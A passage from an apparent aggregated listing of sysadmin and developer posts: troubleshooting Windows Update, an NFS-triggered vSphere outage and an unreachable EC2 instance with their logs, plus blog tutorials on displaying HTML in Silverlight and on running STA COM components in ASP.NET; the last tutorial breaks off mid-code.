timeout to 2011-03-04 08:03:53 2011-03-03 09:21:14:405 924 ce0 AU Setting AU scheduled install time to 2011-03-04 08:00:00 2011-03-03 09:21:14:405 924 ce0 AU Successfully wrote event for AU health state:0 2011-03-03 09:21:14:406 924 ce0 AU Successfully wrote event for AU health state:0 2011-03-03 09:21:14:407 924 db4 AU Getting featured update notifications. fIncludeDismissed = true 2011-03-03 09:21:14:408 924 db4 AU No featured updates available. 2011-03-03 09:21:19:396 924 ca8 Report REPORT EVENT: {633538B3-030E-4CAD-BE6B-33C6ED65AFF1} 2011-03-03 09:21:14:395-0500 1 147 101 {00000000-0000-0000-0000-000000000000} 0 0 AutomaticUpdates Success Software Synchronization Windows Update Client successfully detected 2 updates. 2011-03-03 09:21:19:396 924 ca8 Report CWERReporter finishing event handling. (00000000) i'm less interested in why the option to install Windows 7 SP1 is missing, and more interested in how to diagnose why the option to install Windows 7 SP1 is being hidden. The KB article says that SP1 will not be offered if your machine doesn't meet some secret special criteria. How can i discover what that secret criteria is? i presume it is logged somewhere. Nor am i particularly interested in a direct download link. i want to learn here. i want to be able to diagnose (i.e. in the future) why an update is not being offered. i'm a superuser here. Rather than others coming up with a checklist of things to try, i want to be able to come up with the checklist.

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  • NFS issue brings down entire vSphere ESX estate

    - by growse
    I experienced an odd issue this morning where an NFS issue appeared to have taken down the majority of my VMs hosted on a small vSphere 5.0 estate. The infrastructure itself is 4x IBM HS21 blades running around 20 VMs. The storage is provided by a single HP X1600 array with attached D2700 chassis running Solaris 11. There's a couple of storage pools on this which are exposed over NFS for the storage of the VM files, and some iSCSI LUNs for things like MSCS shared disks. Normally, this is pretty stable, but I appreciate the lack of resiliancy in having a single X1600 doing all the storage. This morning, in the logs of each ESX host, at around 0521 GMT I saw a lot of entries like this: 2011-11-30T05:21:54.161Z cpu2:2050)NFSLock: 608: Stop accessing fd 0x41000a4cf9a8 3 2011-11-30T05:21:54.161Z cpu2:2050)NFSLock: 608: Stop accessing fd 0x41000a4dc9e8 3 2011-11-30T05:21:54.161Z cpu2:2050)NFSLock: 608: Stop accessing fd 0x41000a4d3fa8 3 2011-11-30T05:21:54.161Z cpu2:2050)NFSLock: 608: Stop accessing fd 0x41000a4de0a8 3 [....] 2011-11-30T06:16:07.042Z cpu0:2058)WARNING: NFS: 283: Lost connection to the server 10.13.111.197 mount point /sastank/VMStorage, mounted as f0342e1c-19be66b5-0000-000000000000 ("SAStank") 2011-11-30T06:17:01.459Z cpu2:4011)NFS: 292: Restored connection to the server 10.13.111.197 mount point /sastank/VMStorage, mounted as f0342e1c-19be66b5-0000-000000000000 ("SAStank") 2011-11-30T06:25:17.887Z cpu3:2051)NFSLock: 608: Stop accessing fd 0x41000a4c2b28 3 2011-11-30T06:27:16.063Z cpu3:4011)NFSLock: 568: Start accessing fd 0x41000a4d8928 again 2011-11-30T06:35:30.827Z cpu1:2058)WARNING: NFS: 283: Lost connection to the server 10.13.111.197 mount point /tank/ISO, mounted as 5acdbb3e-410e56e3-0000-000000000000 ("ISO (1)") 2011-11-30T06:36:37.953Z cpu6:2054)NFS: 292: Restored connection to the server 10.13.111.197 mount point /tank/ISO, mounted as 5acdbb3e-410e56e3-0000-000000000000 ("ISO (1)") 2011-11-30T06:40:08.242Z cpu6:2054)NFSLock: 608: Stop accessing fd 0x41000a4c3e68 3 2011-11-30T06:40:34.647Z cpu3:2051)NFSLock: 568: Start accessing fd 0x41000a4d8928 again 2011-11-30T06:44:42.663Z cpu1:2058)WARNING: NFS: 283: Lost connection to the server 10.13.111.197 mount point /sastank/VMStorage, mounted as f0342e1c-19be66b5-0000-000000000000 ("SAStank") 2011-11-30T06:44:53.973Z cpu0:4011)NFS: 292: Restored connection to the server 10.13.111.197 mount point /sastank/VMStorage, mounted as f0342e1c-19be66b5-0000-000000000000 ("SAStank") 2011-11-30T06:51:28.296Z cpu5:2058)NFSLock: 608: Stop accessing fd 0x41000ae3c528 3 2011-11-30T06:51:44.024Z cpu4:2052)NFSLock: 568: Start accessing fd 0x41000ae3b8e8 again 2011-11-30T06:56:30.758Z cpu4:2058)WARNING: NFS: 283: Lost connection to the server 10.13.111.197 mount point /sastank/VMStorage, mounted as f0342e1c-19be66b5-0000-000000000000 ("SAStank") 2011-11-30T06:56:53.389Z cpu7:2055)NFS: 292: Restored connection to the server 10.13.111.197 mount point /sastank/VMStorage, mounted as f0342e1c-19be66b5-0000-000000000000 ("SAStank") 2011-11-30T07:01:50.350Z cpu6:2054)ScsiDeviceIO: 2316: Cmd(0x41240072bc80) 0x12, CmdSN 0x9803 to dev "naa.600508e000000000505c16815a36c50d" failed H:0x0 D:0x2 P:0x0 Valid sense data: 0x5 0x24 0x0. 2011-11-30T07:03:48.449Z cpu3:2051)NFSLock: 608: Stop accessing fd 0x41000ae46b68 3 2011-11-30T07:03:57.318Z cpu4:4009)NFSLock: 568: Start accessing fd 0x41000ae48228 again (I've put a complete dump from one of the hosts on pastebin: http://pastebin.com/Vn60wgTt) When I got in the office at 9am, I saw various failures and alarms and troubleshooted the issue. It turned out that pretty much all of the VMs were inaccessible, and that the ESX hosts either were describing each VM as 'powered off', 'powered on', or 'unavailable'. The VMs described as 'powered on' where not in any way reachable or responding to pings, so this may be lies. There's absolutely no indication on the X1600 that anything was awry, and nothing on the switches to indicate any loss of connectivity. I only managed to resolve the issue by rebooting the ESX hosts in turn. I have a number of questions: What the hell happened? If this was a temporary NFS failure, why did it put the ESX hosts into a state from which a reboot was the only recovery? In the future, when the NFS server goes a little off-piste, what would be the best approach to add some resilience? I've been looking at budgeting for next year and potentially have budget to purchase another X1600/D2700/disks, would an identical mirrored disk setup help to mitigate these sorts of failures automatically? Edit (Added requested details) To expand with some details as requested: The X1600 has 12x 1TB disks lumped together in mirrored pairs as tank, and the D2700 (connected with a mini SAS cable) has 12x 300GB 10k SAS disks lumped together in mirrored pairs as sastank zpool status pool: rpool state: ONLINE scan: none requested config: NAME STATE READ WRITE CKSUM rpool ONLINE 0 0 0 c7t0d0s0 ONLINE 0 0 0 errors: No known data errors pool: sastank state: ONLINE scan: scrub repaired 0 in 74h21m with 0 errors on Wed Nov 30 02:51:58 2011 config: NAME STATE READ WRITE CKSUM sastank ONLINE 0 0 0 mirror-0 ONLINE 0 0 0 c7t14d0 ONLINE 0 0 0 c7t15d0 ONLINE 0 0 0 mirror-1 ONLINE 0 0 0 c7t16d0 ONLINE 0 0 0 c7t17d0 ONLINE 0 0 0 mirror-2 ONLINE 0 0 0 c7t18d0 ONLINE 0 0 0 c7t19d0 ONLINE 0 0 0 mirror-3 ONLINE 0 0 0 c7t20d0 ONLINE 0 0 0 c7t21d0 ONLINE 0 0 0 mirror-4 ONLINE 0 0 0 c7t22d0 ONLINE 0 0 0 c7t23d0 ONLINE 0 0 0 mirror-5 ONLINE 0 0 0 c7t24d0 ONLINE 0 0 0 c7t25d0 ONLINE 0 0 0 errors: No known data errors pool: tank state: ONLINE scan: scrub repaired 0 in 17h28m with 0 errors on Mon Nov 28 17:58:19 2011 config: NAME STATE READ WRITE CKSUM tank ONLINE 0 0 0 mirror-0 ONLINE 0 0 0 c7t1d0 ONLINE 0 0 0 c7t2d0 ONLINE 0 0 0 mirror-1 ONLINE 0 0 0 c7t3d0 ONLINE 0 0 0 c7t4d0 ONLINE 0 0 0 mirror-2 ONLINE 0 0 0 c7t5d0 ONLINE 0 0 0 c7t6d0 ONLINE 0 0 0 mirror-3 ONLINE 0 0 0 c7t8d0 ONLINE 0 0 0 c7t9d0 ONLINE 0 0 0 mirror-4 ONLINE 0 0 0 c7t10d0 ONLINE 0 0 0 c7t11d0 ONLINE 0 0 0 mirror-5 ONLINE 0 0 0 c7t12d0 ONLINE 0 0 0 c7t13d0 ONLINE 0 0 0 errors: No known data errors The filesystem exposed over NFS for the primary datastore is sastank/VMStorage zfs list NAME USED AVAIL REFER MOUNTPOINT rpool 45.1G 13.4G 92.5K /rpool rpool/ROOT 2.28G 13.4G 31K legacy rpool/ROOT/solaris 2.28G 13.4G 2.19G / rpool/dump 15.0G 13.4G 15.0G - rpool/export 11.9G 13.4G 32K /export rpool/export/home 11.9G 13.4G 32K /export/home rpool/export/home/andrew 11.9G 13.4G 11.9G /export/home/andrew rpool/swap 15.9G 29.2G 123M - sastank 1.08T 536G 33K /sastank sastank/VMStorage 1.01T 536G 1.01T /sastank/VMStorage sastank/comstar 71.7G 536G 31K /sastank/comstar sastank/comstar/sql_tempdb 6.31G 536G 6.31G - sastank/comstar/sql_tx_data 65.4G 536G 65.4G - tank 4.79T 578G 42K /tank tank/FTP 269G 578G 269G /tank/FTP tank/ISO 28.8G 578G 25.9G /tank/ISO tank/backupstage 2.64T 578G 2.49T /tank/backupstage tank/cifs 301G 578G 297G /tank/cifs tank/comstar 1.54T 578G 31K /tank/comstar tank/comstar/msdtc 1.07G 579G 32.8M - tank/comstar/quorum 577M 578G 47.9M - tank/comstar/sqldata 1.54T 886G 304G - tank/comstar/vsphere_lun 2.09G 580G 22.2M - tank/mcs-asset-repository 7.01M 578G 6.99M /tank/mcs-asset-repository tank/mscs-quorum 55K 578G 36K /tank/mscs-quorum tank/sccm 16.1G 578G 12.8G /tank/sccm As for the networking, all connections between the X1600, the Blades and the switch are either LACP or Etherchannel bonded 2x 1Gbit links. Switch is a single Cisco 3750. Storage traffic sits on its own VLAN segregated from VM machine traffic.

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  • EC2 instance suddenly refusing SSH connections and won't respond to ping

    - by Chris
    My instance was running fine and this morning I was able to access a Ruby on Rails app hosted on it. An hour later I suddenly wasn't able to access my site, my SSH connection attempts were refused and the server wasn't even responding to ping. I didn't change anything on my system during that hour and reboots aren't fixing it. I've never had any problems connecting or pinging the system before. Can someone please help? This is on my production system! OS: CentOS 5 AMI ID: ami-10b55379 Type: m1.small [] ~% ssh -v *****@meeteor.com OpenSSH_5.2p1, OpenSSL 0.9.8l 5 Nov 2009 debug1: Reading configuration data /etc/ssh_config debug1: Connecting to meeteor.com [184.73.235.191] port 22. debug1: connect to address 184.73.235.191 port 22: Connection refused ssh: connect to host meeteor.com port 22: Connection refused [] ~% ping meeteor.com PING meeteor.com (184.73.235.191): 56 data bytes Request timeout for icmp_seq 0 Request timeout for icmp_seq 1 Request timeout for icmp_seq 2 ^C --- meeteor.com ping statistics --- 4 packets transmitted, 0 packets received, 100.0% packet loss [] ~% ========= System Log ========= Restarting system. Linux version 2.6.16-xenU ([email protected]) (gcc version 4.0.1 20050727 (Red Hat 4.0.1-5)) #1 SMP Mon May 28 03:41:49 SAST 2007 BIOS-provided physical RAM map: Xen: 0000000000000000 - 000000006a400000 (usable) 980MB HIGHMEM available. 727MB LOWMEM available. NX (Execute Disable) protection: active IRQ lockup detection disabled Built 1 zonelists Kernel command line: root=/dev/sda1 ro 4 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Initializing CPU#0 PID hash table entries: 4096 (order: 12, 65536 bytes) Xen reported: 2599.998 MHz processor. Dentry cache hash table entries: 131072 (order: 7, 524288 bytes) Inode-cache hash table entries: 65536 (order: 6, 262144 bytes) Software IO TLB disabled vmalloc area: ee000000-f53fe000, maxmem 2d7fe000 Memory: 1718700k/1748992k available (1958k kernel code, 20948k reserved, 620k data, 144k init, 1003528k highmem) Checking if this processor honours the WP bit even in supervisor mode... Ok. Calibrating delay using timer specific routine.. 5202.30 BogoMIPS (lpj=26011526) Mount-cache hash table entries: 512 CPU: L1 I Cache: 64K (64 bytes/line), D cache 64K (64 bytes/line) CPU: L2 Cache: 1024K (64 bytes/line) Checking 'hlt' instruction... OK. Brought up 1 CPUs migration_cost=0 Grant table initialized NET: Registered protocol family 16 Brought up 1 CPUs xen_mem: Initialising balloon driver. highmem bounce pool size: 64 pages VFS: Disk quotas dquot_6.5.1 Dquot-cache hash table entries: 1024 (order 0, 4096 bytes) Initializing Cryptographic API io scheduler noop registered io scheduler anticipatory registered (default) io scheduler deadline registered io scheduler cfq registered i8042.c: No controller found. RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize Xen virtual console successfully installed as tty1 Event-channel device installed. netfront: Initialising virtual ethernet driver. mice: PS/2 mouse device common for all mice md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27 md: bitmap version 4.39 NET: Registered protocol family 2 Registering block device major 8 IP route cache hash table entries: 65536 (order: 6, 262144 bytes) TCP established hash table entries: 262144 (order: 9, 2097152 bytes) TCP bind hash table entries: 65536 (order: 7, 524288 bytes) TCP: Hash tables configured (established 262144 bind 65536) TCP reno registered TCP bic registered NET: Registered protocol family 1 NET: Registered protocol family 17 NET: Registered protocol family 15 Using IPI No-Shortcut mode md: Autodetecting RAID arrays. md: autorun ... md: ... autorun DONE. kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. VFS: Mounted root (ext3 filesystem) readonly. Freeing unused kernel memory: 144k freed *************************************************************** *************************************************************** ** WARNING: Currently emulating unsupported memory accesses ** ** in /lib/tls glibc libraries. The emulation is ** ** slow. To ensure full performance you should ** ** install a 'xen-friendly' (nosegneg) version of ** ** the library, or disable tls support by executing ** ** the following as root: ** ** mv /lib/tls /lib/tls.disabled ** ** Offending process: init (pid=1) ** *************************************************************** *************************************************************** Pausing... 5Pausing... 4Pausing... 3Pausing... 2Pausing... 1Continuing... INIT: version 2.86 booting Welcome to CentOS release 5.4 (Final) Press 'I' to enter interactive startup. Setting clock : Fri Oct 1 14:35:26 EDT 2010 [ OK ] Starting udev: [ OK ] Setting hostname localhost.localdomain: [ OK ] No devices found Setting up Logical Volume Management: [ OK ] Checking filesystems Checking all file systems. [/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a /dev/sda1 /dev/sda1: clean, 275424/1310720 files, 1161123/2621440 blocks [ OK ] Remounting root filesystem in read-write mode: [ OK ] Mounting local filesystems: [ OK ] Enabling local filesystem quotas: [ OK ] Enabling /etc/fstab swaps: [ OK ] INIT: Entering runlevel: 4 Entering non-interactive startup Starting background readahead: [ OK ] Applying ip6tables firewall rules: modprobe: FATAL: Module ip6_tables not found. ip6tables-restore v1.3.5: ip6tables-restore: unable to initializetable 'filter' Error occurred at line: 3 Try `ip6tables-restore -h' or 'ip6tables-restore --help' for more information. [FAILED] Applying iptables firewall rules: [ OK ] Loading additional iptables modules: ip_conntrack_netbios_ns [ OK ] Bringing up loopback interface: [ OK ] Bringing up interface eth0: Determining IP information for eth0... done. [ OK ] Starting auditd: [FAILED] Starting irqbalance: [ OK ] Starting portmap: [ OK ] FATAL: Module lockd not found. Starting NFS statd: [ OK ] Starting RPC idmapd: FATAL: Module sunrpc not found. FATAL: Error running install command for sunrpc Error: RPC MTAB does not exist. Starting system message bus: [ OK ] Starting Bluetooth services:[ OK ] [ OK ] Can't open RFCOMM control socket: Address family not supported by protocol Mounting other filesystems: [ OK ] Starting PC/SC smart card daemon (pcscd): [ OK ] Starting hidd: Can't open HIDP control socket: Address family not supported by protocol [FAILED] Starting autofs: Starting automount: automount: test mount forbidden or incorrect kernel protocol version, kernel protocol version 5.00 or above required. [FAILED] [FAILED] Starting sshd: [ OK ] Starting cups: [ OK ] Starting sendmail: [ OK ] Starting sm-client: [ OK ] Starting console mouse services: no console device found[FAILED] Starting crond: [ OK ] Starting xfs: [ OK ] Starting anacron: [ OK ] Starting atd: [ OK ] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 390 100 390 0 0 58130 0 --:--:-- --:--:-- --:--:-- 58130 100 390 100 390 0 0 56984 0 --:--:-- --:--:-- --:--:-- 0 Starting yum-updatesd: [ OK ] Starting Avahi daemon... [ OK ] Starting HAL daemon: [ OK ] Starting OSSEC: [ OK ] Starting smartd: [ OK ] c CentOS release 5.4 (Final) Kernel 2.6.16-xenU on an i686 domU-12-31-39-00-C4-97 login: INIT: Id "2" respawning too fast: disabled for 5 minutes INIT: Id "3" respawning too fast: disabled for 5 minutes INIT: Id "4" respawning too fast: disabled for 5 minutes INIT: Id "5" respawning too fast: disabled for 5 minutes INIT: Id "6" respawning too fast: disabled for 5 minutes

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  • Integrating HTML into Silverlight Applications

    - by dwahlin
    Looking for a way to display HTML content within a Silverlight application? If you haven’t tried doing that before it can be challenging at first until you know a few tricks of the trade.  Being able to display HTML is especially handy when you’re required to display RSS feeds (with embedded HTML), SQL Server Reporting Services reports, PDF files (not actually HTML – but the techniques discussed will work), or other HTML content.  In this post I'll discuss three options for displaying HTML content in Silverlight applications and describe how my company is using these techniques in client applications. Displaying HTML Overlays If you need to display HTML over a Silverlight application (such as an RSS feed containing HTML data in it) you’ll need to set the Silverlight control’s windowless parameter to true. This can be done using the object tag as shown next: <object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"> <param name="source" value="ClientBin/HTMLAndSilverlight.xap"/> <param name="onError" value="onSilverlightError" /> <param name="background" value="white" /> <param name="minRuntimeVersion" value="4.0.50401.0" /> <param name="autoUpgrade" value="true" /> <param name="windowless" value="true" /> <a href="http://go.microsoft.com/fwlink/?LinkID=149156&v=4.0.50401.0" style="text-decoration:none"> <img src="http://go.microsoft.com/fwlink/?LinkId=161376" alt="Get Microsoft Silverlight" style="border-style:none"/> </a> </object> By setting the control to “windowless” you can overlay HTML objects by using absolute positioning and other CSS techniques. Keep in mind that on Windows machines the windowless setting can result in a performance hit when complex animations or HD video are running since the plug-in content is displayed directly by the browser window. It goes without saying that you should only set windowless to true when you really need the functionality it offers. For example, if I want to display my blog’s RSS content on top of a Silverlight application I could set windowless to true and create a user control that grabbed the content and output it using a DataList control: <style type="text/css"> a {text-decoration:none;font-weight:bold;font-size:14pt;} </style> <div style="margin-top:10px; margin-left:10px;margin-right:5px;"> <asp:DataList ID="RSSDataList" runat="server" DataSourceID="RSSDataSource"> <ItemTemplate> <a href='<%# XPath("link") %>'><%# XPath("title") %></a> <br /> <%# XPath("description") %> <br /> </ItemTemplate> </asp:DataList> <asp:XmlDataSource ID="RSSDataSource" DataFile="http://weblogs.asp.net/dwahlin/rss.aspx" XPath="rss/channel/item" CacheDuration="60" runat="server" /> </div> The user control can then be placed in the page hosting the Silverlight control as shown below. This example adds a Close button, additional content to display in the overlay window and the HTML generated from the user control. <div id="RSSDiv"> <div style="background-color:#484848;border:1px solid black;height:35px;width:100%;"> <img alt="Close Button" align="right" src="Images/Close.png" onclick="HideOverlay();" style="cursor:pointer;" /> </div> <div style="overflow:auto;width:800px;height:565px;"> <div style="float:left;width:100px;height:103px;margin-left:10px;margin-top:5px;"> <img src="http://weblogs.asp.net/blogs/dwahlin/dan2008.jpg" style="border:1px solid Gray" /> </div> <div style="float:left;width:300px;height:103px;margin-top:5px;"> <a href="http://weblogs.asp.net/dwahlin" style="margin-left:10px;font-size:20pt;">Dan Wahlin's Blog</a> </div> <br /><br /><br /> <div style="clear:both;margin-top:20px;"> <uc:BlogRoller ID="BlogRoller" runat="server" /> </div> </div> </div> Of course, we wouldn’t want the RSS HTML content to be shown until requested. Once it’s requested the absolute position of where it should show above the Silverlight control can be set using standard CSS styles. The following ID selector named #RSSDiv handles hiding the overlay div shown above and determines where it will be display on the screen. #RSSDiv { background-color:White; position:absolute; top:100px; left:300px; width:800px; height:600px; border:1px solid black; display:none; } Now that the HTML content to display above the Silverlight control is set, how can we show it as a user clicks a HyperlinkButton or other control in the application? Fortunately, Silverlight provides an excellent HTML bridge that allows direct access to content hosted within a page. The following code shows two JavaScript functions that can be called from Siverlight to handle showing or hiding HTML overlay content. The two functions rely on jQuery (http://www.jQuery.com) to make it easy to select HTML objects and manipulate their properties: function ShowOverlay() { rssDiv.css('display', 'block'); } function HideOverlay() { rssDiv.css('display', 'none'); } Calling the ShowOverlay function is as simple as adding the following code into the Silverlight application within a button’s Click event handler: private void OverlayHyperlinkButton_Click(object sender, RoutedEventArgs e) { HtmlPage.Window.Invoke("ShowOverlay"); } The result of setting the Silverlight control’s windowless parameter to true and showing the HTML overlay content is shown in the following screenshot:   Thinking Outside the Box to Show HTML Content Setting the windowless parameter to true may not be a viable option for some Silverlight applications or you may simply want to go about showing HTML content a different way. The next technique I’ll show takes advantage of simple HTML, CSS and JavaScript code to handle showing HTML content while a Silverlight application is running in the browser. Keep in mind that with Silverlight’s HTML bridge feature you can always pop-up HTML content in a new browser window using code similar to the following: System.Windows.Browser.HtmlPage.Window.Navigate( new Uri("http://silverlight.net"), "_blank"); For this example I’ll demonstrate how to hide the Silverlight application while maximizing a container div containing the HTML content to show. This allows HTML content to take up the full screen area of the browser without having to set windowless to true and when done right can make the user feel like they never left the Silverlight application. The following HTML shows several div elements that are used to display HTML within the same browser window as the Silverlight application: <div id="JobPlanDiv"> <div style="vertical-align:middle"> <img alt="Close Button" align="right" src="Images/Close.png" onclick="HideJobPlanIFrame();" style="cursor:pointer;" /> </div> <div id="JobPlan_IFrame_Container" style="height:95%;width:100%;margin-top:37px;"></div> </div> The JobPlanDiv element acts as a container for two other divs that handle showing a close button and hosting an iframe that will be added dynamically at runtime. JobPlanDiv isn’t visible when the Silverlight application loads due to the following ID selector added into the page: #JobPlanDiv { position:absolute; background-color:#484848; overflow:hidden; left:0; top:0; height:100%; width:100%; display:none; } When the HTML content needs to be shown or hidden the JavaScript functions shown next can be used: var jobPlanIFrameID = 'JobPlan_IFrame'; var slHost = null; var jobPlanContainer = null; var jobPlanIFrameContainer = null; var rssDiv = null; $(document).ready(function () { slHost = $('#silverlightControlHost'); jobPlanContainer = $('#JobPlanDiv'); jobPlanIFrameContainer = $('#JobPlan_IFrame_Container'); rssDiv = $('#RSSDiv'); }); function ShowJobPlanIFrame(url) { jobPlanContainer.css('display', 'block'); $('<iframe id="' + jobPlanIFrameID + '" src="' + url + '" style="height:100%;width:100%;" />') .appendTo(jobPlanIFrameContainer); slHost.css('width', '0%'); } function HideJobPlanIFrame() { jobPlanContainer.css('display', 'none'); $('#' + jobPlanIFrameID).remove(); slHost.css('width', '100%'); } ShowJobPlanIFrame() handles showing the JobPlanDiv div and adding an iframe into it dynamically. Once JobPlanDiv is shown, the Silverlight control host has its width set to a value of 0% to allow the control to stay alive while making it invisible to the user. I found that this technique works better across multiple browsers as opposed to manipulating the Silverlight control host div’s display or visibility properties. Now that you’ve seen the code to handle showing and hiding the HTML content area, let’s switch focus to the Silverlight application. As a user clicks on a link such as “View Report” the ShowJobPlanIFrame() JavaScript function needs to be called. The following code handles that task: private void ReportHyperlinkButton_Click(object sender, RoutedEventArgs e) { ShowBrowser(_BaseUrl + "/Report.aspx"); } public void ShowBrowser(string url) { HtmlPage.Window.Invoke("ShowJobPlanIFrame", url); } Any URL can be passed into the ShowBrowser() method which handles invoking the JavaScript function. This includes standard web pages or even PDF files. We’ve used this technique frequently with our SmartPrint control (http://www.smartwebcontrols.com) which converts Silverlight screens into PDF documents and displays them. Here’s an example of the content generated:   Silverlight 4’s WebBrowser Control Both techniques shown to this point work well when Silverlight is running in-browser but not so well when it’s running out-of-browser since there’s no host page that you can access using the HTML bridge. Fortunately, Silverlight 4 provides a WebBrowser control that can be used to perform the same functionality quite easily. We’re currently using it in client applications to display PDF documents, SSRS reports and standard HTML content. Using the WebBrowser control simplifies the application quite a bit since no JavaScript is required if the application only runs out-of-browser. Here’s a simple example of defining the WebBrowser control in XAML. I typically define it in MainPage.xaml when a Silverlight Navigation template is used to create the project so that I can re-use the functionality across multiple screens. <Grid x:Name="WebBrowserGrid" HorizontalAlignment="Stretch" VerticalAlignment="Stretch" Visibility="Collapsed"> <StackPanel HorizontalAlignment="Stretch" VerticalAlignment="Stretch"> <Border Background="#484848" HorizontalAlignment="Stretch" Height="40"> <Image x:Name="WebBrowserImage" Width="100" Height="33" Cursor="Hand" HorizontalAlignment="Right" Source="/HTMLAndSilverlight;component/Assets/Images/Close.png" MouseLeftButtonDown="WebBrowserImage_MouseLeftButtonDown" /> </Border> <WebBrowser x:Name="JobPlanReportWebBrowser" HorizontalAlignment="Stretch" VerticalAlignment="Stretch" /> </StackPanel> </Grid> Looking through the XAML you can see that a close image is defined along with the WebBrowser control. Because the URL that the WebBrowser should navigate to isn’t known at design time no value is assigned to the control’s Source property. If the XAML shown above is left “as is” you’ll find that any HTML content assigned to the WebBrowser doesn’t display properly. This is due to no height or width being set on the control. To handle this issue the following code is added into the XAML’s code-behind file to dynamically determine the height and width of the page and assign it to the WebBrowser. This is done by handling the SizeChanged event. void MainPage_SizeChanged(object sender, SizeChangedEventArgs e) { WebBrowserGrid.Height = JobPlanReportWebBrowser.Height = ActualHeight; WebBrowserGrid.Width = JobPlanReportWebBrowser.Width = ActualWidth; } When the user wants to view HTML content they click a button which executes the code shown in next: public void ShowBrowser(string url) { if (Application.Current.IsRunningOutOfBrowser) { JobPlanReportWebBrowser.NavigateToString("<html><body><iframe src='" + url + "' style='width:100%;height:97%;' /></body></html>"); WebBrowserGrid.Visibility = Visibility.Visible; } else { HtmlPage.Window.Invoke("ShowJobPlanIFrame", url); } } private void WebBrowserImage_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { WebBrowserGrid.Visibility = Visibility.Collapsed; }   Looking through the code you’ll see that it checks to see if the Silverlight application is running out-of-browser and then either displays the WebBrowser control or runs the JavaScript function discussed earlier. Although the WebBrowser control’s Source property could be assigned the URI of the page to navigate to, by assigning HTML content using the NavigateToString() method and adding an iframe, content can be shown from any site including cross-domain sites. This is especially handy when you need to grab a page from a reporting site that’s in a different domain than the Silverlight application. Here’s an example of viewing  PDF file inside of an out-of-browser application. The first image shows the application running out-of-browser before the user clicks a PDF HyperlinkButton.  The second image shows the PDF being displayed.   While there are certainly other techniques that can be used, the ones shown here have worked well for us in different applications and provide the ability to display HTML content in-browser or out-of-browser. Feel free to add a comment if you have another tip or trick you like to use when working with HTML content in Silverlight applications.   Download Code Sample   For more information about onsite, online and video training, mentoring and consulting solutions for .NET, SharePoint or Silverlight please visit http://www.thewahlingroup.com.

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  • Creating STA COM compatible ASP.NET Applications

    - by Rick Strahl
    When building ASP.NET applications that interface with old school COM objects like those created with VB6 or Visual FoxPro (MTDLL), it's extremely important that the threads that are serving requests use Single Threaded Apartment Threading. STA is a COM built-in technology that allows essentially single threaded components to operate reliably in a multi-threaded environment. STA's guarantee that COM objects instantiated on a specific thread stay on that specific thread and any access to a COM object from another thread automatically marshals that thread to the STA thread. The end effect is that you can have multiple threads, but a COM object instance lives on a fixed never changing thread. ASP.NET by default uses MTA (multi-threaded apartment) threads which are truly free spinning threads that pay no heed to COM object marshaling. This is vastly more efficient than STA threading which has a bit of overhead in determining whether it's OK to run code on a given thread or whether some sort of thread/COM marshaling needs to occur. MTA COM components can be very efficient, but STA COM components in a multi-threaded environment always tend to have a fair amount of overhead. It's amazing how much COM Interop I still see today so while it seems really old school to be talking about this topic, it's actually quite apropos for me as I have many customers using legacy COM systems that need to interface with other .NET applications. In this post I'm consolidating some of the hacks I've used to integrate with various ASP.NET technologies when using STA COM Components. STA in ASP.NET Support for STA threading in the ASP.NET framework is fairly limited. Specifically only the original ASP.NET WebForms technology supports STA threading directly via its STA Page Handler implementation or what you might know as ASPCOMPAT mode. For WebForms running STA components is as easy as specifying the ASPCOMPAT attribute in the @Page tag:<%@ Page Language="C#" AspCompat="true" %> which runs the page in STA mode. Removing it runs in MTA mode. Simple. Unfortunately all other ASP.NET technologies built on top of the core ASP.NET engine do not support STA natively. So if you want to use STA COM components in MVC or with class ASMX Web Services, there's no automatic way like the ASPCOMPAT keyword available. So what happens when you run an STA COM component in an MTA application? In low volume environments - nothing much will happen. The COM objects will appear to work just fine as there are no simultaneous thread interactions and the COM component will happily run on a single thread or multiple single threads one at a time. So for testing running components in MTA environments may appear to work just fine. However as load increases and threads get re-used by ASP.NET COM objects will end up getting created on multiple different threads. This can result in crashes or hangs, or data corruption in the STA components which store their state in thread local storage on the STA thread. If threads overlap this global store can easily get corrupted which in turn causes problems. STA ensures that any COM object instance loaded always stays on the same thread it was instantiated on. What about COM+? COM+ is supposed to address the problem of STA in MTA applications by providing an abstraction with it's own thread pool manager for COM objects. It steps in to the COM instantiation pipeline and hands out COM instances from its own internally maintained STA Thread pool. This guarantees that the COM instantiation threads are STA threads if using STA components. COM+ works, but in my experience the technology is very, very slow for STA components. It adds a ton of overhead and reduces COM performance noticably in load tests in IIS. COM+ can make sense in some situations but for Web apps with STA components it falls short. In addition there's also the need to ensure that COM+ is set up and configured on the target machine and the fact that components have to be registered in COM+. COM+ also keeps components up at all times, so if a component needs to be replaced the COM+ package needs to be unloaded (same is true for IIS hosted components but it's more common to manage that). COM+ is an option for well established components, but native STA support tends to provide better performance and more consistent usability, IMHO. STA for non supporting ASP.NET Technologies As mentioned above only WebForms supports STA natively. However, by utilizing the WebForms ASP.NET Page handler internally it's actually possible to trick various other ASP.NET technologies and let them work with STA components. This is ugly but I've used each of these in various applications and I've had minimal problems making them work with FoxPro STA COM components which is about as dififcult as it gets for COM Interop in .NET. In this post I summarize several STA workarounds that enable you to use STA threading with these ASP.NET Technologies: ASMX Web Services ASP.NET MVC WCF Web Services ASP.NET Web API ASMX Web Services I start with classic ASP.NET ASMX Web Services because it's the easiest mechanism that allows for STA modification. It also clearly demonstrates how the WebForms STA Page Handler is the key technology to enable the various other solutions to create STA components. Essentially the way this works is to override the WebForms Page class and hijack it's init functionality for processing requests. Here's what this looks like for Web Services:namespace FoxProAspNet { public class WebServiceStaHandler : System.Web.UI.Page, IHttpAsyncHandler { protected override void OnInit(EventArgs e) { IHttpHandler handler = new WebServiceHandlerFactory().GetHandler( this.Context, this.Context.Request.HttpMethod, this.Context.Request.FilePath, this.Context.Request.PhysicalPath); handler.ProcessRequest(this.Context); this.Context.ApplicationInstance.CompleteRequest(); } public IAsyncResult BeginProcessRequest( HttpContext context, AsyncCallback cb, object extraData) { return this.AspCompatBeginProcessRequest(context, cb, extraData); } 